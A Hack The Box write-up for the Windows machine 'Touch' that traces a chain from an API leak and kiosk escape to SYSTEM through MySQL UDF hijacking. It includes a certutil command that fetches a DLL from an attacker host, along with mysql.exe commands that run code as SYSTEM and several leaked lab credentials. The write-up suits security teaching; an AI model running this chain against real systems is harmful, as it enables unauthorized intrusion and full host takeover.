HTB Touch Writeup — From Kiosk Escape to SYSTEM (Season 12)


Machine: Touch · Platform: Hack The Box · Season: 12 (Aero) · OS: Windows · Difficulty: Easy


Touch is an Easy Windows machine that chains an unauthenticated API leak, default device credentials, an airport check-in kiosk escape, hardcoded database credentials, and a MySQL UDF privilege escalation to SYSTEM. The clue from the previous Season 12 machine (Layover) — a name and a booking reference — comes in handy here.


The Chain at a Glance

StageWeaknessResult
Unauthenticated /api/statusDevice metadata leakSerial number for login
Default credentialPassword = device serialDeviceHub dashboard access
Exposed credentialsKioskUser creds in dashboardRDP foothold
Kiosk designScanner error spawns full browserEscape to cmd.exe
World-readable sourceHardcoded MySQL credentialsDB access as kiosk_app
World-readable scheduled scriptMySQL root password in plaintextFull MySQL access
Writable plugin directoryMySQL UDF hijackingSYSTEM shell

1. Reconnaissance

A standard Nmap scan revealed four ports:

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
3389/tcp open  ms-wbt-server Microsoft Terminal Service
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8443/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-title: Nexion DeviceHub - Login
|_Requested resource was /login

RDP and WinRM are useless without credentials, so the web service on 8443 — the Nexion DeviceHub management portal — became the initial target.

1.1 Directory Enumeration

A directory brute-force against port 8443 surfaced a /api path (403 Forbidden — confirming the route existed but wasn’t browsable directly). Further enumeration under /api revealed a /status endpoint.

1.2 Unauthenticated Device Metadata Leak

Visiting /api/status without authentication returned device metadata, including the DeviceHub’s serial number:

{
  "device": "Nexion DeviceHub DH-100",
  "serial": "NX-DH-2024-B7042",
  "firmware": "1.4.2",
  "status": "online",
  "uptime": 47695
}

That serial is the linchpin of the next step.


2. Initial Foothold

2.1 Default Device Credential

The DeviceHub login page carried a “Forgot your password?” tooltip stating:

“The default password is the device serial number included in your DeviceHub packaging.”

Logging in with password=NX-DH-2024-B7042 granted access to the dashboard.

2.2 Credential Exposure in the Dashboard

The dashboard displayed device panels for the scanner and printer. Each panel had a “show” toggle next to a masked password. Inspecting the page source showed the value delivered to the browser in plaintext:

<span id="dsp1">••••••••</span>
<span onclick="toggleCred('dsp1','K!0sk2026#')">show</span>

The password was never fetched from the server — it was already in the HTML, hidden only by CSS.

Credentials recovered: KioskUser: K!0sk2026#

2.3 RDP and the Airport Kiosk

RDP access with KioskUser placed us inside a fullscreen airport self-service kiosk — no desktop, no taskbar, just a touchscreen check-in flow.

The kiosk prompted for a language, then a booking lookup with two fields:

  • Booking Reference
  • Last Name

This is where the Layover clue applied. That machine had exposed a name and a booking confirmation code: Jenny Crawford / KS7X2M.

FieldValue
Booking ReferenceKS7X2M
Last NameCRAWFORD

The booking loaded successfully and opened the document verification step.

2.4 Forcing a Scanner Error

Pressing the scan button produced a generic error. Recalling that the DeviceHub dashboard had power controls for the scanner, we powered it off from there:

POST /api/scanner/power
{"powered": false}

Returning to the kiosk and retrying the booking lookup produced a different, more useful error — this time with a clickable link. Clicking it spawned a full browser window outside the kiosk’s locked-down shell.

2.5 Breaking Out of the Kiosk

From that browser, pressing Ctrl+O (Open File) opened a native Windows file picker. Typing a full path into the filename bar launched that executable directly:

C:\Windows\System32\cmd.exe

This opened cmd.exe as KIOSK-042\KioskUser — a real shell outside the kiosk.

2.6 User Flag

The user flag sat on the desktop:

type C:\Users\KioskUser\Desktop\user.txt

User flag: a*******************************a


3. Local Enumeration — Finding MySQL

3.1 Filesystem Orientation

Enumerating C:\Program Files revealed two vendor directories:

C:\Program Files\HTB Airways\Kiosk\          ← Node/TypeScript kiosk app
C:\Program Files\Nexion Systems\DocReader\   ← .NET DeviceHub backend
C:\Program Files\Nexion Systems\Printer\     ← Printer service

Enumerating the root of C:\ revealed a standalone **MySQL 8.0 install** at C:\MySQL\. A top-level database install is unusual — a signal the box runs its own DB locally.

3.2 Walking the Kiosk Source Tree

The kiosk app is a Node.js monorepo:

packages\
  backend\
    src\
      config\
      data\
      database\
      integrations\
      middleware\
      routes\
      schemas\
      services\

The database folder is a convention — the DB connection code almost always lives there.

3.3 Reading the Hardcoded DB Config

C:\Program Files\HTB Airways\Kiosk\packages\backend\src\database\index.ts

The file contained a hardcoded fallback connection string:

const defaults = {
  host: "127.0.0.1",
  port: 3306,
  user: "kiosk_app",
  password: "K!0sk_R3pl1ca#DB",
  database: "htb_airways"
};

The app reads an external override file at C:\ProgramData\HTB Airways\db-config.ini — but the file is absent or unreadable, so the hardcoded fallback is what the app runs with. Because the app runs as KioskUser, its own source — and the credentials inside it — are readable by the same low-privileged user.

DB credentials recovered: kiosk_app : K!0sk_R3pl1ca#DB

3.4 Confirming MySQL Is Local

netstat -ano | findstr LISTENING | findstr 3306
sc query MySQL80
tasklist | findstr /i mysqld

MySQL is bound only to 127.0.0.1:3306. Not exposed to the network, but reachable from the current shell.

3.5 Enumerating the Database

Using the bundled client at C:\MySQL\bin\mysql.exe:

mysql.exe -u kiosk_app -pK!0sk_R3pl1ca#DB -h 127.0.0.1 -P 3306 -e "SHOW DATABASES;"
information_schema
htb_airways
mysql
performance_schema
sys
mysql.exe -u kiosk_app -pK!0sk_R3pl1ca#DB -h 127.0.0.1 -P 3306 htb_airways -e "SHOW TABLES;"

The table _htb_staff stood out — the underscore prefix is a common convention for internal/privileged tables.

mysql.exe -u kiosk_app -pK!0sk_R3pl1ca#DB -h 127.0.0.1 -P 3306 htb_airways \
  -e "SELECT employee_id, email, auth_code, role, active FROM _htb_staff;"

The table contained 32 staff records with plaintext QR badge authentication codes:

employee_idemailauth_coderole
HTB-98600cdubois@htbairways.htb88123126BC55AC23Duty Manager
HTB-31181aibrahim@htbairways.htbB678BB6055ACE81FStation Manager
HTB-66373tsantos@htbairways.htbDBEA8BF35F3B93A3Aviation Security Lead
…………

The kiosk’s staff-badge flow (per src/routes/staff.ts) expects a QR code in the format HTBAW-STAFF:<email>:<authCode>. Because the codes are plaintext in the DB, any staff account could be forged — but this is not the privesc path.


4. Privilege Escalation

4.1 Reconnaissance in C:\ProgramData

Enumerating C:\ProgramData\HTB Airways\ revealed several files, including one readable scheduled script that wasn’t locked down:

C:\ProgramData\HTB Airways\refresh-dates.bat
@echo off
C:\MySQL\bin\mysql.exe -u root -pHTB@irw4ys_DB!2026 < "C:\ProgramData\HTB Airways\refresh-dates.sql" 2>nul

MySQL root password recovered: HTB@irw4ys_DB!2026

4.2 Confirming Root Privileges

mysql.exe -u root -p"HTB@irw4ys_DB!2026" -e "SELECT user, host, File_priv FROM mysql.user WHERE user='root';"
+------+-----------+-----------+
| user | host      | File_priv |
+------+-----------+-----------+
| root | localhost | Y         |
+------+-----------+-----------+

File_priv = Y — the prerequisite for UDF hijacking.

4.3 Checking the Plugin Directory

mysql.exe -u root -p"HTB@irw4ys_DB!2026" -e "SHOW VARIABLES LIKE 'plugin_dir';"
| plugin_dir | C:\MySQL\lib\plugin\ |
icacls "C:\MySQL\lib\plugin"

The directory is writable by Authenticated Users — which includes KioskUser.

4.4 Uploading the UDF DLL

MySQL’s secure_file_priv was set to NULL, so the standard SQL file-write (SELECT ... INTO OUTFILE) was blocked. However, we already had a shell with filesystem access — so the DLL was uploaded directly, bypassing MySQL entirely.

On Kali, the Metasploit UDF DLL was served over HTTP:

lib_mysqludf_sys_64.dll

On the target:

certutil -urlcache -split -f http://<ATTACKER_IP>:<HTTP_PORT>/lib_mysqludf_sys_64.dll ^
  C:\MySQL\lib\plugin\lib_mysqludf_sys_64.dll

4.5 Registering the UDF Function

mysql.exe -u root -p"HTB@irw4ys_DB!2026" -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';"

No errors — the function registered.

4.6 Executing as SYSTEM

mysql.exe -u root -p"HTB@irw4ys_DB!2026" -e "SELECT sys_eval('whoami');"
0x6E7420617574686F726974795C73797374656D

The output came back as a hex-encoded byte string. Decoding it:

nt authority\system

RCE as SYSTEM confirmed.

4.7 Root Flag

mysql.exe -u root -p"HTB@irw4ys_DB!2026" -e ^
  "SELECT CONVERT(sys_eval('type C:\\Users\\Administrator\\Desktop\\root.txt') USING utf8);"

The output arrived hex-encoded. Decoding it:

81e11dc55f334c011436b6cb562ef1f01b

Root flag: 8*******************************b


5. Attack Chain Graph

TCP/8443 (Nexion DeviceHub)
       │
       ▼
Unauthenticated /api/status → device serial
       │
       ▼
Login with serial as password
       │
       ▼
Dashboard leaks KioskUser:K!0sk2026#
       │
       ▼
RDP → fullscreen airport kiosk
       │
       ▼
Layover clue (KS7X2M + Crawford) → booking lookup
       │
       ▼
Power off scanner via DeviceHub → retry kiosk → error link
       │
       ▼
Browser escape (Ctrl+O → C:\Windows\System32\cmd.exe)
       │
       ▼
Read kiosk source → hardcoded MySQL creds (kiosk_app)
       │
       ▼
Read C:\ProgramData scheduled script → MySQL root password
       │
       ▼
Upload UDF DLL to plugin dir → CREATE FUNCTION sys_eval
       │
       ▼
nt authority\system → root.txt

6. Key Takeaways

  • Unauthenticated APIs can leak far more than intended. The /api/status endpoint was meant for health checks, but returned device identifiers that became credentials.
  • Default credentials derived from device identifiers are a real pattern. The serial-as-password convention is common in embedded-device management portals.
  • Never trust client-side password masking. If the password is present in the page source, a “show” button is only cosmetic.
  • Kiosk escapes often come through legitimate error paths. The scanner error message itself contained the clickable link — the “bug” was the escape hatch.
  • Hardcoded fallback credentials defeat defense-in-depth. The app’s DB config had an external override path, but the fallback was baked into the source.
  • Scheduled scripts are a common credential leak vector. Anyone who can read a .bat or .ps1 running as a privileged user gets everything it references.
  • UDF hijacking bypasses secure_file_priv. Even with SQL file-write blocked, a filesystem write to the plugin directory is enough.
  • Hex output from Metasploit’s sys_eval is normal. Decode with CONVERT(... USING utf8) or manually.

7. Tools Used

nmap · ffuf · curl · xfreerdp · certutil · mysql.exe · Metasploit (lib_mysqludf_sys_64.dll)


Disclaimer: This writeup is for educational purposes within an authorized Hack The Box environment. Do not test these techniques outside a lab without explicit authorization.

Leave a Reply

Your email address will not be published. Required fields are marked *